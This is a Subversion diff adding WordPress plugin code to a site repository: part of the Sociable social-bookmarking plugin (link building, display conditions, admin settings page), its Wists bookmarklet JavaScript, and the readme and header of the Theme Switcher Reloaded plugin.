+			$permalink = str_replace('&', '%2526', $permalink); 
+			$destination = str_replace('PERMALINK', 'TARGET', $url);
+			$destination = str_replace('&amp;', '%26', $destination);
+			$channel = urlencode($site['awesm_channel']);
+
+			$parentargument = '';
+			if ($_GET['awesm']) {
+				/**
+				 * if the page was arrived at through an awe.sm URL, make that the parent
+				 */ 
+				$parent = $_GET['awesm'];
+				$parentargument = '&p=' . $parent;
+			} 
+
+			if (strpos($channel, 'direct') != false) {
+				$url = $sociablepluginpath.'awesmate.php?c='.$channel.'&t='.$permalink.'&d='.$destination.'&dir=true'.$parentargument;
+			} else {
+				$url = $sociablepluginpath.'awesmate.php?c='.$channel.'&t='.$permalink.'&d='.$destination.$parentargument;	
+			}
+		} else {
+			/**
+			 * if awe.sm is not used, simply replace PERMALINK with $permalink
+			 */ 
+			$url = str_replace('PERMALINK', $permalink, $url);		
+		}
+
+		/**
+		 * Start building each list item. They're build up separately to allow filtering by other
+		 * plugins.
+		 * Give the first and last list item in the list an extra class to allow for cool CSS tricks
+		 */
+		if ($i == 0) {
+			$link = '<li class="sociablefirst">';
+		} else if ($totalsites == ($i+1)) {
+			$link = '<li class="sociablelast">';
+		} else {
+			$link = '<li>';
+		}
+		
+		/**
+		 * Start building the link, nofollow it to make sure Search engines don't follow it, 
+		 * and optionally add target=_blank to open in a new window if that option is set in the 
+		 * backend.
+		 */
+		$link .= '<a rel="nofollow"';
+		$link .= ' id="'.esc_attr(strtolower($sitename)).'"';
+		if (get_option('sociable_usetargetblank')) {
+			$link .= " target=\"_blank\"";
+		}
+		$link .= " href=\"javascript:window.location='".urlencode($url)."';\" title=\"$description\">";
+		
+		/**
+		 * If the option to use text links is enabled in the backend, display a text link, otherwise, 
+		 * display an image.
+		 */
+		if (get_option('sociable_usetextlinks')) {
+			$link .= $description;
+		} else {
+			if (strpos($site['favicon'], 'http') === 0) {
+				$imgsrc = $site['favicon'];
+			} else {
+				$imgsrc = $imagepath.$site['favicon'];
+			}
+			$link .= "<img src=\"".$imgsrc."\" title=\"$description\" alt=\"$description\" class=\"sociable-hovers";
+			if (isset($site['class']) && $site['class'])
+				$link .= " sociable_{$site['class']}";
+			$link .= "\" />";
+		}
+		$link .= "</a></li>";
+		
+		/**
+		 * Add the list item to the output HTML, but allow other plugins to filter the content first.
+		 * This is used for instance in the Google Analytics for WordPress plugin to track clicks
+		 * on Sociable links.
+		 */
+		$html .= "\t".apply_filters('sociable_link',$link)."\n";
+		$i++;
+	}
+
+	$html .= "</ul>\n</div>\n";
+
+	return $html;
+}
+
+/**
+ * Hook the_content to output html if we should display on any page
+ */
+$sociable_contitionals = get_option('sociable_conditionals');
+if (is_array($sociable_contitionals) and in_array(true, $sociable_contitionals)) {
+	add_filter('the_content', 'sociable_display_hook');
+	add_filter('the_excerpt', 'sociable_display_hook');
+	
+	/**
+	 * Loop through the settings and check whether Sociable should be outputted.
+	 */
+	function sociable_display_hook($content='') {
+		$conditionals = get_option('sociable_conditionals');
+		if ((is_home()     and $conditionals['is_home']) or
+		    (is_single()   and $conditionals['is_single']) or
+		    (is_page()     and $conditionals['is_page']) or
+		    (is_category() and $conditionals['is_category']) or
+			(is_tag() 	   and $conditionals['is_tag']) or
+		    (is_date()     and $conditionals['is_date']) or
+			(is_author()   and $conditionals['is_author']) or
+		    (is_search()   and $conditionals['is_search'])) {
+			$content .= sociable_html();
+		} elseif ((is_feed() and $conditionals['is_feed'])) {
+			$sociable_html = sociable_html();
+			$sociable_html = strip_tags($sociable_html,"<a><img>");
+			$content .= $sociable_html . "<br/><br/>";
+		}
+		return $content;
+	}
+}
+
+/**
+ * Set the default settings on activation on the plugin.
+ */
+function sociable_activation_hook() {
+	global $wpdb;
+	$wpdb->query("DELETE FROM $wpdb->postmeta WHERE meta_key = 'sociableoff'");
+	return sociable_restore_config(false);
+}
+register_activation_hook(__FILE__, 'sociable_activation_hook');
+
+/**
+ * Add the Sociable menu to the Settings menu
+ * @param boolean $force if set to true, force updates the settings.
+ */
+function sociable_restore_config($force=false) {
+	global $sociable_known_sites;
+
+	if ($force or !is_array(get_option('sociable_active_sites')))
+		update_option('sociable_active_sites', array(
+			'Print',
+			'Digg',
+			'Sphinn',
+			'del.icio.us',
+			'Facebook',
+			'Mixx',
+			'Google',
+		));
+
+	if ($force or !is_string(get_option('sociable_tagline')))
+		update_option('sociable_tagline', "<strong>" . __("Share and Enjoy:", 'sociable') . "</strong>");
+
+	if ($force or !is_array(get_option('sociable_conditionals')))
+		update_option('sociable_conditionals', array(
+			'is_home' => False,
+			'is_single' => True,
+			'is_page' => True,
+			'is_category' => False,
+			'is_tag' => False,
+			'is_date' => False,
+			'is_search' => False,
+			'is_author' => False,
+			'is_feed' => False,
+		));
+
+	if ( $force OR !( get_option('sociable_usecss') ) )
+		update_option('sociable_usecss', true);
+}
+
+/**
+ * Add the Sociable menu to the Settings menu
+ */
+function sociable_admin_menu() {
+	add_options_page('Sociable', 'Sociable', 8, 'Sociable', 'sociable_submenu');
+}
+add_action('admin_menu', 'sociable_admin_menu');
+
+/**
+ * Make sure the required javascript files are loaded in the Sociable backend, and that they are only
+ * loaded in the Sociable settings page, and nowhere else.
+ */
+function sociable_admin_js() {
+	if (isset($_GET['page']) && $_GET['page'] == 'Sociable') {
+		global $sociablepluginpath;
+		
+		wp_enqueue_script('jquery'); 
+		wp_enqueue_script('jquery-ui-core',false,array('jquery')); 
+		wp_enqueue_script('jquery-ui-sortable',false,array('jquery','jquery-ui-core')); 
+		wp_enqueue_script('sociable-js',$sociablepluginpath.'sociable-admin.js', array('jquery','jquery-ui-core','jquery-ui-sortable')); 
+	}
+}
+add_action('admin_print_scripts', 'sociable_admin_js');
+
+/**
+ * Make sure the required stylesheet is loaded in the Sociable backend, and that it is only
+ * loaded in the Sociable settings page, and nowhere else.
+ */
+function sociable_admin_css() {
+	global $sociablepluginpath;
+	if (isset($_GET['page']) && $_GET['page'] == 'Sociable')
+		wp_enqueue_style('sociable-css',$sociablepluginpath.'sociable-admin.css'); 
+}
+add_action('admin_print_styles', 'sociable_admin_css');
+
+/**
+ * If Wists is active, load it's js file. This is the only site that historically has had a JS file
+ * in Sociable. For all other sites this has so far been refused.
+ */
+function sociable_js() {
+	if (in_array('Wists', get_option('sociable_active_sites'))) {
+		global $sociablepluginpath;
+		wp_enqueue_script('sociable-wists',$sociablepluginpath.'wists.js'); 
+	}	
+}
+add_action('wp_print_scripts', 'sociable_js');
+
+/**
+ * If the user has the (default) setting of using the Sociable CSS, load it.
+ */
+function sociable_css() {
+	if (get_option('sociable_usecss') == true) {
+		global $sociablepluginpath;
+		wp_enqueue_style('sociable-front-css',$sociablepluginpath.'sociable.css'); 
+	}
+}
+add_action('wp_print_styles', 'sociable_css');
+
+/**
+ * Update message, used in the admin panel to show messages to users.
+ */
+function sociable_message($message) {
+	echo "<div id=\"message\" class=\"updated fade\"><p>$message</p></div>\n";
+}
+
+/**
+ * Displays a checkbox that allows users to disable Sociable on a
+ * per post or page basis.
+ */
+function sociable_meta() {
+	global $post;
+	$sociableoff = false;
+	if (get_post_meta($post->ID,'_sociableoff',true)) {
+		$sociableoff = true;
+	} 
+	?>
+	<input type="checkbox" id="sociableoff" name="sociableoff" <?php checked($sociableoff); ?>/> <label for="sociableoff"><?php _e('Sociable disabled?','sociable') ?></label>
+	<?php
+}
+
+/**
+ * Add the checkbox defined above to post and page edit screens.
+ */
+function sociable_meta_box() {
+	add_meta_box('sociable','Sociable','sociable_meta','post','side');
+	add_meta_box('sociable','Sociable','sociable_meta','page','side');
+}
+add_action('admin_menu', 'sociable_meta_box');
+
+/**
+ * If the post is inserted, set the appropriate state for the sociable off setting.
+ */
+function sociable_insert_post($pID) {
+	if (isset($_POST['sociableoff'])) {
+		if (!get_post_meta($post->ID,'_sociableoff',true))
+			add_post_meta($pID, '_sociableoff', true, true);
+	} else {
+		if (get_post_meta($post->ID,'_sociableoff',true))
+			delete_post_meta($pID, '_sociableoff');
+	}
+}
+add_action('wp_insert_post', 'sociable_insert_post');
+
+/**
+ * Displays the Sociable admin menu, first section (re)stores the settings.
+ */
+function sociable_submenu() {
+	global $sociable_known_sites, $sociable_date, $sociablepluginpath;
+
+	$sociable_known_sites = apply_filters('sociable_known_sites',$sociable_known_sites);
+	
+	if (isset($_REQUEST['restore']) && $_REQUEST['restore']) {
+		check_admin_referer('sociable-config');
+		sociable_restore_config(true);
+		sociable_message(__("Restored all settings to defaults.", 'sociable'));
+	} else if (isset($_REQUEST['save']) && $_REQUEST['save']) {
+		check_admin_referer('sociable-config');
+		$active_sites = Array();
+		if (!$_REQUEST['active_sites'])
+			$_REQUEST['active_sites'] = Array();
+		foreach($_REQUEST['active_sites'] as $sitename=>$dummy)
+			$active_sites[] = $sitename;
+		update_option('sociable_active_sites', $active_sites);
+		/**
+		 * Have to delete and re-add because update doesn't hit the db for identical arrays
+		 * (sorting does not influence associated array equality in PHP)
+		 */
+		delete_option('sociable_active_sites', $active_sites);
+		add_option('sociable_active_sites', $active_sites);
+
+		foreach ( array('usetargetblank', 'awesmenable', 'usecss', 'usetextlinks') as $val ) {
+			if ( isset($_POST[$val]) && $_POST[$val] )
+				update_option('sociable_'.$val,true);
+			else
+				update_option('sociable_'.$val,false);
+		}
+		
+		foreach ( array('awesmapikey', 'tagline', 'imagedir') as $val ) {
+			if ( !$_POST[$val] )
+				update_option( 'sociable_'.$val, '');
+			else
+				update_option( 'sociable_'.$val, $_POST[$val] );
+		}
+		
+		/**
+		 * Update conditional displays
+		 */
+		$conditionals = Array();
+		if (!$_POST['conditionals'])
+			$_POST['conditionals'] = Array();
+		
+		$curconditionals = get_option('sociable_conditionals');
+		if (!array_key_exists('is_feed',$curconditionals)) {
+			$curconditionals['is_feed'] = false;
+		}
+		foreach($curconditionals as $condition=>$toggled)
+			$conditionals[$condition] = array_key_exists($condition, $_POST['conditionals']);
+			
+		update_option('sociable_conditionals', $conditionals);
+
+		sociable_message(__("Saved changes.", 'sociable'));
+	}
+	
+	/**
+	 * Show active sites first and in the right order.
+	 */
+	$active_sites = get_option('sociable_active_sites');
+	$active = Array(); 
+	$disabled = $sociable_known_sites;
+	foreach( $active_sites as $sitename ) {
+		$active[$sitename] = $disabled[$sitename];
+		unset($disabled[$sitename]);
+	}
+	uksort($disabled, "strnatcasecmp");
+	
+	/**
+	 * Display options.
+	 */
+?>
+<form action="<?php echo attribute_escape( $_SERVER['REQUEST_URI'] ); ?>" method="post">
+<?php
+	if ( function_exists('wp_nonce_field') )
+		wp_nonce_field('sociable-config');
+?>
+
+<div class="wrap">
+	<?php screen_icon(); ?>
+	<h2><?php _e("Sociable Options", 'sociable'); ?></h2>
+	<table class="form-table">
+	<tr>
+		<th>
+			<?php _e("Sites", "sociable"); ?>:<br/>
+			<small><?php _e("Check the sites you want to appear on your site. Drag and drop sites to reorder them.", 'sociable'); ?></small>
+		</th>
+		<td>
+			<div style="width: 100%; height: 100%">
+			<ul id="sociable_site_list">
+				<?php foreach (array_merge($active, $disabled) as $sitename=>$site) { ?>
+					<li id="<?php echo $sitename; ?>"
+						class="sociable_site <?php echo (in_array($sitename, $active_sites)) ? "active" : "inactive"; ?>">
+						<input
+							type="checkbox"
+							id="cb_<?php echo $sitename; ?>"
+							name="active_sites[<?php echo $sitename; ?>]"
+							<?php echo (in_array($sitename, $active_sites)) ? ' checked="checked"' : ''; ?>
+						/>
+						<?php
+						$imagepath = get_option('sociable_imagedir');
+						if ($imagepath == "")
+							$imagepath = $sociablepluginpath.'images/';		
+						
+						if (strpos($site['favicon'], 'http') === 0) {
+							$imgsrc = $site['favicon'];
+						} else {
+							$imgsrc = $imagepath.$site['favicon'];
+						}
+						?>
+						<img src="<?php echo $imgsrc; ?>" width="16" height="16" alt="<?php echo $site['description'] ?>" />
+						<?php echo $sitename; ?>
+					</li>
+				<?php } ?>
+			</ul>
+			</div>
+			<input type="hidden" id="site_order" name="site_order" value="<?php echo join('|', array_keys($sociable_known_sites)) ?>" />
+		</td>
+	</tr>
+	<tr>
+		<th scope="row" valign="top">
+			<?php _e("Tagline", "sociable"); ?>
+		</th>
+		<td>
+			<?php _e("Change the text displayed in front of the icons below. For complete customization, copy the contents of <em>sociable.css</em> in the Sociable plugin directory to your theme's <em>style.css</em> and disable the use of the sociable stylesheet below.", 'sociable'); ?><br/>
+			<input size="80" type="text" name="tagline" value="<?php echo attribute_escape(stripslashes(get_option('sociable_tagline'))); ?>" />
+		</td>
+	</tr>
+	<tr>
+		<th scope="row" valign="top">
+			<?php _e("Position:", "sociable"); ?>
+		</th>
+		<td>
+			<?php _e("The icons appear at the end of each blog post, and posts may show on many different types of pages. Depending on your theme and audience, it may be tacky to display icons on all types of pages.", 'sociable'); ?><br/>
+			<br/>
+			<?php
+			/**
+			 * Load conditions under which Sociable displays
+			 */
+			$conditionals 	= get_option('sociable_conditionals');
+			?>
+			<input type="checkbox" name="conditionals[is_home]"<?php checked($conditionals['is_home']); ?> /> <?php _e("Front page of the blog", 'sociable'); ?><br/>
+			<input type="checkbox" name="conditionals[is_single]"<?php checked($conditionals['is_single']); ?> /> <?php _e("Individual blog posts", 'sociable'); ?><br/>
+			<input type="checkbox" name="conditionals[is_page]"<?php checked($conditionals['is_page']); ?> /> <?php _e('Individual WordPress "Pages"', 'sociable'); ?><br/>
+			<input type="checkbox" name="conditionals[is_category]"<?php checked($conditionals['is_category']); ?> /> <?php _e("Category archives", 'sociable'); ?><br/>
+			<input type="checkbox" name="conditionals[is_tag]"<?php checked($conditionals['is_tag']); ?> /> <?php _e("Tag listings", 'sociable'); ?><br/>
+			<input type="checkbox" name="conditionals[is_date]"<?php checked($conditionals['is_date']); ?> /> <?php _e("Date-based archives", 'sociable'); ?><br/>
+			<input type="checkbox" name="conditionals[is_author]"<?php checked($conditionals['is_author']); ?> /> <?php _e("Author archives", 'sociable'); ?><br/>
+			<input type="checkbox" name="conditionals[is_search]"<?php checked($conditionals['is_search']); ?> /> <?php _e("Search results", 'sociable'); ?><br/>
+			<input type="checkbox" name="conditionals[is_feed]"<?php checked($conditionals['is_feed']); ?> /> <?php _e("RSS feed items", 'sociable'); ?><br/>
+		</td>
+	</tr>
+	<tr>
+		<th scope="row" valign="top">
+			<?php _e("Use CSS:", "sociable"); ?>
+		</th>
+		<td>
+			<input type="checkbox" name="usecss" <?php checked( get_option('sociable_usecss'), true ); ?> /> <?php _e("Use the sociable stylesheet?", "sociable"); ?>
+		</td>
+	</tr>
+	<tr>
+		<th scope="row" valign="top">
+			<?php _e("Use Text Links:", "sociable"); ?>
+		</th>
+		<td>
+			<input type="checkbox" name="usetextlinks" <?php checked( get_option('sociable_usetextlinks'), true ); ?> /> <?php _e("Use text links without images?", "sociable"); ?>
+		</td>
+	</tr>
+	<tr>
+		<th scope="row" valign="top">
+			<?php _e("Image directory", "sociable"); ?>
+		</th>
+		<td>
+			<?php _e("Sociable comes with a nice set of images, if you want to replace those with your own, enter the URL where you've put them in here, and make sure they have the same name as the ones that come with Sociable.", 'sociable'); ?><br/>
+			<input size="80" type="text" name="imagedir" value="<?php echo attribute_escape(stripslashes(get_option('sociable_imagedir'))); ?>" />
+		</td>
+	</tr>
+	<tr>
+		<th scope="row" valign="top">
+			<?php _e("Open in new window:", "sociable"); ?>
+		</th>
+		<td>
+			<input type="checkbox" name="usetargetblank" <?php checked( get_option('sociable_usetargetblank'), true ); ?> /> <?php _e("Use <code>target=_blank</code> on links? (Forces links to open a new window)", "sociable"); ?>
+		</td>		
+	</tr>
+	<tr>
+		<th scope="row" valign="top">
+			<?php _e("awe.sm:", "sociable"); ?>
+		</th>
+		<td>
+			<?php _e("You can choose to automatically have the links posted to certain sites shortened via awe.sm and encoded with the channel info and your API Key.", 'sociable'); ?><br/>
+			<input type="checkbox" name="awesmenable" <?php checked( get_option('sociable_awesmenable'), true ); ?> /> <?php _e("Enable awe.sm URLs?", "sociable"); ?><br/>
+			<?php _e("awe.sm API Key:", 'sociable'); ?> <input size="65" type="text" name="awesmapikey" value="<?php echo get_option('sociable_awesmapikey'); ?>" />
+		</td>
+	</tr>
+	<tr>
+		<td>&nbsp;</td>
+		<td>
+			<span class="submit"><input name="save" value="<?php _e("Save Changes", 'sociable'); ?>" type="submit" /></span>
+			<span class="submit"><input name="restore" value="<?php _e("Restore Built-in Defaults", 'sociable'); ?>" type="submit"/></span>
+		</td>
+	</tr>
+</table>
+
+<h2><?php _e('Like this plugin?','sociable'); ?></h2>
+<p><?php _e('Why not do any of the following:','sociable'); ?></p>
+<ul class="sociablemenu">
+	<li><?php _e('Link to it so other folks can find out about it.','sociable'); ?></li>
+	<li><?php _e('<a href="http://wordpress.org/extend/plugins/sociable/">Give it a good rating</a> on WordPress.org.','sociable'); ?></li>
+	<li><?php _e('<a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=2017947">Donate a token of your appreciation</a>.','sociable'); ?></li>
+</ul>
+<h2><?php _e('Need support?','sociable'); ?></h2>
+<p><?php _e('If you have any problems or good ideas, please talk about them in the <a href="http://wordpress.org/tags/sociable">Support forums</a>.', 'sociable'); ?></p>
+
+<h2><?php _e('Credits','sociable'); ?></h2>
+<p><?php _e('<a href="http://yoast.com/wordpress/sociable/">Sociable</a> was originally developed by <a href="http://push.cx/">Peter Harkins</a> and has been maintained by <a href="http://yoast.com/">Joost de Valk</a> since the beginning of 2008. It\'s released under the GNU GPL version 2.','Sociable'); ?></p>
+
+
+</div>
+</form>
+<?php
+}
+
+/**
+ * Add an icon for the Sociable plugin's settings page to the dropdown for Ozh's admin dropdown menu
+ */
+function sociable_add_ozh_adminmenu_icon( $hook ) {
+	static $sociableicon;
+	if (!$sociableicon) {
+		$sociableicon = WP_CONTENT_URL . '/plugins/' . plugin_basename(dirname(__FILE__)). '/book_add.png';
+	}
+	if ($hook == 'Sociable') return $sociableicon;
+	return $hook;
+}
+add_filter( 'ozh_adminmenu_icon', 'sociable_add_ozh_adminmenu_icon' );				
+
+/**
+ * Add a settings link to the Plugins page, so people can go straight from the plugin page to the
+ * settings page.
+ */
+function sociable_filter_plugin_actions( $links, $file ){
+	// Static so we don't call plugin_basename on every plugin row.
+	static $this_plugin;
+	if ( ! $this_plugin ) $this_plugin = plugin_basename(__FILE__);
+	
+	if ( $file == $this_plugin ){
+		$settings_link = '<a href="options-general.php?page=Sociable">' . __('Settings') . '</a>';
+		array_unshift( $links, $settings_link ); // before other links
+	}
+	return $links;
+}
+add_filter( 'plugin_action_links', 'sociable_filter_plugin_actions', 10, 2 );
+
+/**
+ * Add the Yoast.com RSS feed to the WordPress dashboard
+ */
+if (!function_exists('yst_db_widget')) {
+	function yst_text_limit( $text, $limit, $finish = ' [&hellip;]') {
+		if( strlen( $text ) > $limit ) {
+	    	$text = substr( $text, 0, $limit );
+			$text = substr( $text, 0, - ( strlen( strrchr( $text,' ') ) ) );
+			$text .= $finish;
+		}
+		return $text;
+	}
+	
+	function yst_db_widget($image = 'normal', $num = 3, $excerptsize = 250, $showdate = true) {
+		require_once(ABSPATH.WPINC.'/rss.php');  
+		if ( $rss = fetch_rss( 'http://feeds2.feedburner.com/joostdevalk' ) ) {
+			echo '<div class="rss-widget">';
+			if ($image == 'normal') {
+				echo '<a href="http://yoast.com/" title="Go to Yoast.com"><img src="http://cdn.yoast.com/yoast-logo-rss.png" class="alignright" alt="Yoast"/></a>';			
+			} else {
+				echo '<a href="http://yoast.com/" title="Go to Yoast.com"><img width="80" src="http://cdn.yoast.com/yoast-logo-rss.png" class="alignright" alt="Yoast"/></a>';			
+			}
+			echo '<ul>';
+			$rss->items = array_slice( $rss->items, 0, $num );
+			foreach ( (array) $rss->items as $item ) {
+				echo '<li>';
+				echo '<a class="rsswidget" href="'.clean_url( $item['link'], $protocolls=null, 'display' ).'">'. htmlentities($item['title']) .'</a> ';
+				if ($showdate)
+					echo '<span class="rss-date">'. date('F j, Y', strtotime($item['pubdate'])) .'</span>';
+				echo '<div class="rssSummary">'. yst_text_limit($item['summary'],$excerptsize) .'</div>';
+				echo '</li>';
+			}
+			echo '</ul>';
+			echo '<div style="border-top: 1px solid #ddd; padding-top: 10px; text-align:center;">';
+			echo '<a href="http://feeds2.feedburner.com/joostdevalk"><img src="'.get_bloginfo('wpurl').'/wp-includes/images/rss.png" alt=""/> Subscribe with RSS</a>';
+			if ($image == 'normal') {
+				echo ' &nbsp; &nbsp; &nbsp; ';
+			} else {
+				echo '<br/>';
+			}
+			echo '<a href="http://yoast.com/email-blog-updates/"><img src="http://cdn.yoast.com/email_sub.png" alt=""/> Subscribe by email</a>';
+			echo '</div>';
+			echo '</div>';
+		}
+	}
+ 
+	function yst_widget_setup() {
+	    wp_add_dashboard_widget( 'yst_db_widget' , 'The Latest news from Yoast' , 'yst_db_widget');
+	}
+ 
+	add_action('wp_dashboard_setup', 'yst_widget_setup');
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/wists.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/wists.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/wists.js	(revision 44)
@@ -0,0 +1,205 @@
+var Wistlet = {
+        init : function () {
+                var o = document.getElementsByTagName('body').item(0);
+
+                //var text = (typeof(document.selection == 'undefined') ) ? getSelection() : document.selection.createRange().text;
+
+                function getSel() {
+                        var txt = '';
+                        if (window.getSelection) {
+                                txt = window.getSelection();
+                        } else if (document.getSelection) {
+                                txt = document.getSelection();
+                        } else if (document.selection) {
+                                txt = document.selection.createRange().text;
+                        } else {
+                                return;
+                        }
+                        return txt;
+                }
+
+
+                var s = '' +
+                '<form name="f" id="f" action="http://www.wists.com/s.php" method="get">'+
+                '<input name="c" id="c" type="hidden" value="null" />'+
+                '<input name="r" id="r" type="hidden" value="'+location+'" />'+
+                '<input name="u" id="u" type="hidden" value="" />'+
+                '<input name="title" id="title" type="hidden" value="'+document.title +'" />'+
+                '<input name="m" type="hidden" value="'+getSel()+'" />'+
+                '</form>'+
+                '<div>'+
+                '<a href="http://wists.com/"><img src="http://wists.com/mainimages/logo_top_left.gif" border=0></a><br />'+
+                '<p>Click on the most appropriate image below to create a thumbnail image for your bookmark:</a></p>'+
+                '<table width=800><tr width=800><td width=800>\n';
+
+                var x = this.scrape_images();
+                if (x == 0) 
+                {
+                        location = 'http://www.wists.com/s.php?c=&r='+location+'&title='+document.title;
+                        return true;
+                }
+                s += x +
+
+                '</td></tr></table>\n'+
+                '<p>Don\'t like any of these images? <a href="http://www.wists.com/s.php?c=&r='+location+'&title='+document.title +'">Create a thumbnail screenshot</a> instead!</p>'+
+                '</div>';
+
+                o.innerHTML = s;
+                this.strip_document();
+                this.style_document();
+                return true;
+        },
+        make_thumbnail : function (r) {
+                var s = '' +
+                '<table style="float:left;"><tr><td width=120 height=90 valign=middle align=center><a href="http://www.wists.com/" onclick="return Wistlet.submit_form(\''+r+'\');">'+
+                '<img src="'+r+'" alt="" onload="resizeImage(this);" />'+
+                '</a></td></tr></table>\n';
+                return s;
+        },
+        submit_form : function (r) {
+                var f = document.getElementById('f'); if (!f) return false;
+                var u = document.getElementById('u'); if (!u) return false;
+                u.setAttribute("value", r);
+                f.submit();
+                return false;
+        },
+        get_background : function (o) {
+                var s = '';
+                if (window.getComputedStyle) s = window.getComputedStyle(o,null).getPropertyValue("background-image");
+                if (o.currentStyle) s = o.currentStyle.backgroundImage;
+                if (s == "none") s = "";
+                return s;
+        },
+        scrape_images : function () {
+                var a = document.getElementsByTagName('*');
+                var s = '';
+                var n = 0;
+                var l = [];
+                for (var i=0; i < a.length; i++) 
+                {
+                        var o = a[i];
+                        if (o.tagName == "IMG" && o.src != "")
+                        {
+                                n++;
+                                if (!l[o.src])
+                                {
+                                        l[o.src] = "1";
+                                        s += this.make_thumbnail(o.src);
+                                }
+                        }
+                        else 
+                        {
+                                var x = /url\(["']?(.+[^'"])["']?\)/gi.exec(this.get_background(o));
+                                if (x && x != "" && x.length > 1) 
+                                {
+                                        n++;
+                                        if (!l[x[1]])
+                                        {
+                                                l[x[1]] = "1";
+                                                s += this.make_thumbnail(x[1]);
+                                        }
+                                }
+                        }
+                }
+                if (n > 0) 
+                {
+                        return s 
+                } 
+                else {
+                        return n;
+                }
+        },
+        strip_document : function () {
+                var a = document.getElementsByTagName('*');
+                for (var i=0; i < a.length; i++) 
+                {
+                        var o = a[i];
+                        if (o.tagName == "LINK" || o.tagName == "STYLE")
+                        {
+                                this.destroy_element(o);
+                        }
+                        else if (o.tagName == "IMG")
+                        {
+                                if (o.offsetWidth <= 10 || o.offsetHeight <= 10)
+                                {
+                        //              this.destroy_element(o.parentNode);
+                                }
+                        }
+                }
+                return true;
+        },
+        style_document : function () {
+                var x = document.getElementsByTagName('head').item(0);
+                var o = document.createElement('link');
+                if (typeof o != 'object') o = document.standardCreateElement('link');
+                o.setAttribute('href','http://www.wists.com/wistlet.css?x=' + Math.floor(Math.random() * 9999));
+                o.setAttribute('rel','stylesheet');
+                o.setAttribute('type','text/css');
+                x.appendChild(o);
+                return true;
+        },
+        destroy_element : function (o) {
+                while (o.childNodes.length > 0) 
+                {
+                        o.removeChild(o.childNodes[0]);
+                }
+                o.parentNode.removeChild(o);
+        }
+}
+
+function resizeImage(img) {
+
+        var img_width = img.offsetWidth;
+        var img_height = img.offsetHeight;
+        var img_aspect_ratio = Math.round((img_width / img_height) * 100) / 100;
+
+        var max_width = 120;
+        var max_height = 90;
+        var max_aspect_ratio = Math.round((max_width / max_height) * 100) / 100;
+
+//      alert("orig image size is " + img_width + "x" + img_height + "\n" + "aspect ratio is " + img_aspect_ratio + "\n\n" + "max image size is " + max_width + "x" + max_height + "\n" + "max aspect ratio is " + max_aspect_ratio);
+
+        var new_img_width = 0;
+        var new_img_height = 0;
+        var new_aspect_ratio = 0;
+
+        // if no resize needed
+        if (img_width < 120 && img_height < 90) {
+                new_img_width = img_width;
+                new_img_height = img_height; 
+
+        // if wider
+        } else if (img_aspect_ratio > max_aspect_ratio) {
+                new_img_width = max_width;
+                new_img_height = Math.round(new_img_width / img_aspect_ratio);
+
+        // if taller
+        } else if (img_aspect_ratio < max_aspect_ratio) {
+                new_img_height = max_height;
+                new_img_width = Math.round(new_img_height * img_aspect_ratio);
+
+        // equal
+        } else {
+                new_img_width = max_width;
+                new_img_height = max_height;
+        }
+
+        img.style.width = new_img_width + "px";
+        img.style.height = new_img_height + "px";
+        new_aspect_ratio = Math.round((new_img_width / new_img_height) * 100) / 100;
+
+//      alert("new image size is " + new_img_width + "x" + new_img_height + "\n" + "new aspect ratio is " + new_aspect_ratio);
+}
+
+ 
+var sociable_old_onload = window.onload;
+window.onload = function () {
+    imgs = document.getElementsByTagName("img");
+    for(var i = 0; i < imgs.length; i++) {
+        var img = imgs[i];
+        if (img.className == 'sociable-hovers sociable_wists') {
+            img.onclick = function() { Wistlet.init(); return false; }
+        }
+    }
+    if (sociable_old_onload) sociable_old_onload();
+};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/readme.txt	(revision 44)
@@ -0,0 +1,26 @@
+=== Theme Switcher Reloaded ===
+Contributors: undoIT
+Donate link: http://themebot.com/advertise
+Tags: widget, sidebar, plugin, themeswitcher, theme switcher, style, themes, theme, switcher, changer, selector
+Requires at least: 2.0
+Tested up to: 2.5
+Stable tag: 1.0
+
+Theme Switcher Reloaded is an updated and much improved version of the original themeswitcher. Comes with a widget and can also switch themes via URL.
+
+== Description ==
+
+Theme Switcher Reloaded was sponsored by Themebot for use with the demos in the [WordPress Themes](http://themebot.com/website-templates/wordpress-themes "WordPress Themes") section on themebot.com. Coding was done by kingler of [72pines](http://code.72pines.org/ "72pines"). This is an updated version of the venerable themeswitcher by Ryan Boren and Theme Switcher Widget by Jared Bangs. Theme Switcher Reloaded adds many new features and enhancements.
+
+For the latest version and a full list of updates, please visit the plugin homepage: [WordPress Theme Switcher Reloaded](http://themebot.com/webmaster-tools/1-wordpress-theme-switcher-reloaded "Theme Switcher Reloaded").
+
+== Installation ==
+
+1. Upload `theme-switcher-reloaded` directory to the `/wp-content/plugins/` directory
+2. Activate the plugin through the 'Plugins' menu in WordPress
+3. Activate the widget and select option for use in the sidebar 
+
+== Frequently Asked Questions ==
+http://themebot.com/forums/
+== Screenshots ==
+http://themebot.com/webmaster-tools/1-wordpress-theme-switcher-reloaded
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/theme-switcher-reloaded.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/theme-switcher-reloaded.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/theme-switcher-reloaded/theme-switcher-reloaded.php	(revision 44)
@@ -0,0 +1,428 @@
+<?php
+/* Plugin Name: Theme Switcher Reloaded
+Plugin URI: http://themebot.com/webmaster-tools/1-wordpress-theme-switcher-reloaded
+Description: Efficient, feature-rich theme switcher plugin with widget. Sponsored by Themebot for use in the <a href="http://themebot.com/website-templates/wordpress-themes">WordPress Themes</a> section.
+Version: 1.0
+Author: Themebot
+Author URI: http://themebot.com
+
+Adapted from Ryan Boren's theme switcher and Jared Bangs Theme Switcher Widget.
+http://wordpress.org/extend/plugins/theme-switcher/#post-536
+http://freepressblog.org/wordpress-plugins-2/wordpress-theme-switcher-widget/
+... which was adapted from Alex King's style switcher.
+http://www.alexking.org/software/wordpress/
+Modified by kingler from 72pines http://code.72pines.org on Feb 13, 2008
+Sponsored by Themebot http://themebot.com/ */ 
